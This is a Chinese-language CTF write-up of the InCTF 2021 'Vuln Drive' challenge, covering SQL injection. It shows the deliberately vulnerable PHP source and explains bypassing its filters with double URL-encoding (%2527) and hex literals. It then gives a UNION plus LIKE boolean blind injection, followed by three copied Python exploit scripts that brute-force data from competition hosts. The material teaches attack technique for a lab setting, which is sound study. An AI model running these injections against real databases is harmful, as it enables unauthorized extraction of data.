InCTF2021原题:Vuln Drive - InCTF Internationals 2021,这里直接借用其源码。
include('./conf.php');
$inp=$_GET['part1'];
$real_inp=$_GET['part2'];
if(preg_match('/[a-zA-Z]|\\\|\'|\"/i', $inp)) exit("Correct ");
if(preg_match('/\(|\)|\*|\\\|\/|\'|\;|\"|\-|\#/i', $real_inp)) exit("Are you me");
$inp=urldecode($inp);
//$query1=select name,path from adminfo;
$query2="SELECT * FROM accounts where id=1 and password='".$inp."'";
$query3="SELECT ".$real_inp.",name FROM accounts where name='tester'";
$check=mysqli_query($con,$query2);
if(!$_GET['part1'] && !$_GET['part2'])
{
highlight_file(__file__);
die();
}
if($check || !(strlen($_GET['part2'])<124))
{
echo $query2."
";
echo "Not this way
";
}
else
{
$result=mysqli_query($con,$query3);
$row=mysqli_fetch_assoc($result);
if($row['name']==="tester")
echo "Success";
else
echo "Not";
//$err=mysqli_error($con);
//echo $err;
}
?>
第一个 if 没什么好说的。第二 if 需要 $check 返回 false,即使SELECT * FROM accounts where id=1 and password='".$inp."';
产生语法错误。正常情况下我们传入/?part1='
自然能使其报错。但是别忘了,在到达第一个 if 前,我们必须先绕过正则,那么如何绕过正则?注意到 $inp 在正则检测后与带入查询前会再进行一次url解码:$inp=urldecode($inp);
,所以这里我们可以通过对'
的双url编码%2527
来完成绕过(web服务器会自动对从 $_GET 接受到的数据进行一次url解码)。
成功过了两个 if 来到 else,不难发现注入点产生在 $real_inp 变量,分析SELECT ".$real_inp.",name FROM accounts where name='tester';
以及 $real_inp 的过滤,不难发现通过以往的构造闭合来实现注入似乎不太可行,由于没有过滤 union 与 like,所以我们可以采用联合查询+模糊查询的方式实现注入,由于过滤掉了单引号,所以我们可以采用十六进制进行绕过。插入 payload 后的查询语句:
SELECT 1,name from adminfo where path like 0x7825 union select 1,name FROM accounts where name='tester'
当第一个 select 有值时,页面会返回 Not,反之则返回 Success。根据上述思路,我们可以编写脚本逐个字符爆破出 path,其实也就相当于布尔盲注。
下面贴几个网上查询到的EXP:
import requests
s=requests.Session()
url="http://web.challenge.bi0s.in:41666/"
path=""
s.post(url+'login',data={"username":"asdasd","password":"asdadssad"})
for i in range(33):
for i in '1234567890abcdef':
x = (path+i).encode().hex()
data = {"url": f"http://123%40localhost?part1=%252527&part2=1,name from adminfo where path like 0x2f{x}25 union select 1"}
r=s.post(url+'dev_test',data=data)
if('Not' in r.text[:10]):
path+=i
print("Path :",path,end='\r')
break
data = {"url": f"http://123%40localhost?part1=%252527&part2=1,name from adminfo where path=0x2f{(path).encode().hex()} union select 1"}
r = s.post(url+'dev_test', data=data)
print(r.text)
if('Not' in r.text[:10]):
print("Length :",len(path))
print("Path is correct!")
if path:
print("Path :",path)
r=s.get(url+'return-files?f=/'+path)
print("Flag:",r.text)
#-- coding:UTF-8 --
import requests
def strtohex(s):
ss = "0x"
for i in s:
ss += str(hex(ord(i))).replace("0x",'')
# print ss
return ss
burp0_url = "http://web.challenge.bi0s.in:6007/dev_test"
burp0_cookies = {
"session": ".eJwVjTEKwzAMAL9SNHeQLSuS85liyTKUQgtJM4X8ve52wx13gu_beHw_r3jDCkkJh2ZlxIq6uKSSW_TBjYPIqDlX6Yxwh-PZYT3hdszMxNXNO-dERbTWwrJEFJtgbALX9PfY_odMcP0AvAogbQ.YRgHIA.fcpz2sNbS4x4Hoj7zt6WOQ-U-WY"
}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://web.challenge.bi0s.in:6007", "Connection": "close",
"Referer": "http://web.challenge.bi0s.in:6007/", "Upgrade-Insecure-Requests": "1"
}
character = "/zaqwsxcderfvbgtyhnmjuiklop0123456789."
#
flag = ""
for j in range(1,100):
for i in character:
if j >= 1 and j <=6 :
payload = strtohex(flag + i + "%")
else:
payload = strtohex("%" + flag[-6:] + i + "%")
# sql = "1,2 as name from information_schema.schemata where schema_name like {} union select 1".format(payload)
sql = "path,name from adminfo where name=0x61646d696e and path like {} union select 1".format(payload)
# sql = "1,2 as name from adminfo where path like {} union select 1".format(payload)
burp0_data = {
#name:admin dumb again
#path:not
#database:sys challenge mysql information performance
#challenge:accounts adminfo
#accounts:current total name host username id password
#adminfo:name path
"url": "http://192.168.112.2/?part1=%252527%26part2={}".format(sql)}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
# print i + " : " + res.text
if "SELECT * FROM accounts where id=1 and password=" in res.text:
print "字符过长!!!"
exit(0)
if "Not" in res.text:
flag += i
print flag
break
if i == ".":
print flag
exit(0)
import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
for c in '1234567890abcdefghijklmnopqrstuvwxyz':
payload=flaga+str(hex(ord(c)))[2:]
sql = f'1,username from user where password like 0x{payload}25 union select 1'
r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
if 'nop' in r.text:
flaga = flaga+str(hex(ord(c)))[2:]
flag+=c
break
print(flag)
In a word,SQL注入主要考察 CTFer 对 bypass 与 payload 的理解,有时需要我们通过恶意的闭合与注释将 payload 插入其中;有时则需要我们像这道题一样通过特定语句将 payload 和谐地融入其中。
相似题型:2021美团杯CTF ez_sql
相关知识:注入-单引号过滤家族的一次次bypass
相关常识:为什么要进行URL编码
脚本知识:python中[-1] [:-1] [::-1] [n::-1] 切片的用法